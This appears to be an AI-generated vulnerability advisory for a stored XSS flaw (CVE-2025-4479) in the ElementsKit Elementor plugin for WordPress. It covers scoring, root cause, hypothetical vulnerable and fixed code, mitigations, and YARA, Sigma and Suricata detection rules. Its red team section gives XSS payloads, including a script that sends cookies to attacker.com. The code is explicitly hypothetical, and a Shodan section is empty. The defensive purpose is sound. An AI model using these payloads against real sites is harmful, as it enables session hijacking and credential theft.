CVE-2025-4479
Executive Summary
CVE-2025-4479 is a Stored Cross-Site Scripting (XSS) vulnerability in the ElementsKit Elementor Addons and Templates plugin for WordPress, affecting all versions up to and including 3.5.2. The flaw resides in the plugin's image comparison widget, specifically in the handling of user-supplied "before" and "after" labels. Due to insufficient input sanitization and output escaping, authenticated attackers with contributor-level access or higher can inject arbitrary web scripts. When a victim (including administrators) visits a page containing the malicious widget, the injected script executes in the context of the victim's browser, potentially leading to session hijacking, credential theft, or defacement.
This vulnerability is particularly dangerous in the WordPress ecosystem because it targets a widely-used page builder plugin, and the attack surface is broadened by the low privilege requirement (contributor). The EPSS score is currently 0.0%, indicating low exploitation activity, but the lack of a patch makes it a ticking time bomb for unmaintained sites.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The supply chain risk is moderate: if the plugin is not updated by the vendor (ElementsKit), site administrators must manually apply mitigations or remove the plugin. No malicious package injection has been reported, but the unpatched status increases the risk of future exploitation.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network – the attack is carried out over the network.
- Attack Complexity (AC): Low – no special conditions are required.
- Privileges Required (PR): Low – attacker needs contributor-level access.
- User Interaction (UI): None – the victim does not need to perform any action beyond visiting the page.
- Scope (S): Changed – the vulnerability can impact resources beyond the vulnerable component.
- Confidentiality (C): Low – limited data exposure possible.
- Integrity (I): Low – limited ability to modify content.
- Availability (A): None – no direct impact on availability.
Threat Level: Medium. The low privilege requirement and lack of user interaction make this a viable attack vector for authenticated users. However, the current EPSS score of 0.0% suggests low active exploitation.
Deep Dive & Mechanics
The vulnerability exists in the image-comparison widget of the ElementsKit plugin. This widget allows users to display two images with a slider, and it includes "before" and "after" labels that can be customized via the Elementor editor. The plugin fails to properly sanitize and escape these label attributes before rendering them in the HTML output.
Root Cause: The plugin uses esc_attr() or similar functions inconsistently, or not at all, for the label attributes. When a contributor-level user edits a page using the image comparison widget, they can inject JavaScript payloads into the label fields. The payload is stored in the WordPress database and later rendered without proper escaping, leading to Stored XSS.
Attack Flow:
- Attacker logs in as a contributor (or higher).
- Creates or edits a page/post using the ElementsKit image comparison widget.
- In the "Before Label" or "After Label" field, enters a payload such as:
<img src=x onerror=alert(document.cookie)>. - Saves/publishes the page.
- When any user (including admin) visits the page, the script executes in their browser.
Impact: The attacker can steal session cookies, perform actions on behalf of the victim, redirect users to malicious sites, or deface the WordPress site.
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical fix based on common XSS remediation patterns.
Vulnerable Code (hypothetical):
// In elementskit/widgets/image-comparison/image-comparison.php
$before_label = $settings['ekit_image_comparison_before_label'];
$after_label = $settings['ekit_image_comparison_after_label'];
echo '<div class="ekit-image-comparison-before">' . $before_label . '</div>';
echo '<div class="ekit-image-comparison-after">' . $after_label . '</div>';
Patched Code (hypothetical):
// In elementskit/widgets/image-comparison/image-comparison.php
$before_label = esc_html( $settings['ekit_image_comparison_before_label'] );
$after_label = esc_html( $settings['ekit_image_comparison_after_label'] );
echo '<div class="ekit-image-comparison-before">' . $before_label . '</div>';
echo '<div class="ekit-image-comparison-after">' . $after_label . '</div>';
The fix uses esc_html() to encode HTML special characters, preventing script injection.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with ElementsKit plugin <= 3.5.2.
- Contributor-level account credentials.
Steps:
- Log in to WordPress as a contributor.
- Create a new page or edit an existing one.
- Add the "Image Comparison" widget from ElementsKit.
- In the "Before Label" field, enter the following payload:
<img src=x onerror=alert('XSS')> - In the "After Label" field, enter:
<svg onload=alert(document.cookie)> - Publish the page.
- Visit the page as an admin or any other user to trigger the XSS.
Advanced Payload (Session Hijacking):
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team (Detection & Prevention)
Detection:
- Monitor for pages containing suspicious HTML in the
ekit_image_comparison_before_labelorekit_image_comparison_after_labelpost meta. - Use WAF rules to block common XSS patterns in POST requests to
/wp-admin/admin-ajax.phpor page edit endpoints.
Prevention:
- Disable the image comparison widget until a patch is available.
- Restrict contributor-level users from using the widget via user role editor plugins.
- Implement a Content Security Policy (CSP) that blocks inline scripts.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/elementskit/widgets/image-comparison/image-comparison.php(vulnerable version). - Database: Post meta containing
ekit_image_comparison_before_labelorekit_image_comparison_after_labelwith HTML/JavaScript payloads. - Network: Outbound requests to attacker-controlled domains from the WordPress server (if payload exfiltrates data).
- Logs: Unusual POST requests to
/wp-admin/post.phpor/wp-admin/admin-ajax.phpwithaction=elementor_ajaxand payloads in widget settings.
Detection Engineering
YARA Rule
rule CVE_2025_4479_ElementsKit_XSS {
meta:
description = "Detects malicious payloads in ElementsKit image comparison labels"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-4479"
strings:
$payload1 = /ekit_image_comparison_before_label.*?<script/i
$payload2 = /ekit_image_comparison_after_label.*?<script/i
$payload3 = /ekit_image_comparison_before_label.*?onerror/i
$payload4 = /ekit_image_comparison_after_label.*?onerror/i
condition:
any of ($payload*)
}
Sigma Rule
title: CVE-2025-4479 ElementsKit Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in ElementsKit image comparison widget labels
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: POST
http.url|contains: '/wp-admin/admin-ajax.php'
http.body|contains|all:
- 'action=elementor_ajax'
- 'ekit_image_comparison_before_label'
- '<script'
condition: selection
falsepositives:
- Legitimate use of HTML in labels (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-4479 ElementsKit Stored XSS Payload in POST";
flow:to_server,established;
content:"POST"; http_method;
content:"/wp-admin/admin-ajax.php"; http_uri;
content:"action=elementor_ajax"; http_client_body;
content:"ekit_image_comparison_before_label"; http_client_body;
pcre:"/<script|<img[^>]+onerror|<svg[^>]+onload/i";
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable the Image Comparison Widget: Add the following code to your theme's
functions.phpto remove the widget:add_action( 'elementor/widgets/widgets_registered', function() { \Elementor\Plugin::instance()->widgets_manager->unregister_widget_type( 'ekit-image-comparison' ); } ); - Restrict User Roles: Use a plugin like "User Role Editor" to prevent contributors from using the ElementsKit plugin or specific widgets.
- Web Application Firewall (WAF): Deploy rules to block XSS payloads in POST requests to Elementor endpoints.
Long-Term Fix:
- Monitor the ElementsKit plugin repository for an official patch. If none is released within a reasonable timeframe, consider replacing the plugin with an alternative.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. Always validate findings in a controlled environment before applying changes to production systems.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.